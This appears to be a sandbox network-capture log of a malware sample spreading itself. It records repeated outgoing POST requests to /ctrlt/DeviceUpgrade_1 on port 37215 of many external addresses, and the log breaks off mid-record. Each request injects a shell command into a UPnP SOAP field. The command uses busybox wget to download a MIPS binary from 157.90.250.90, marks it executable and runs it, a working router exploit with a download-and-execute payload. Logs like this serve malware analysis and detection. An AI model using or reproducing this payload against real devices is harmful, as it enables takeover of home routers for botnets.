Dec 3, 2024 23:01:52.804332018 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	52114	41.185.84.32	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804393053 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	35976	197.220.67.112	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804452896 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	49302	197.161.10.65	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804522038 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	53770	197.95.113.211	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804600954 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	41410	156.67.96.70	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804658890 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	48106	197.158.151.68	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804743052 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	55288	197.79.233.80	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804816008 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	48890	197.213.139.45	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804877996 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	38648	197.235.235.154	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804970026 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	34620	197.69.230.169	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.805037022 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 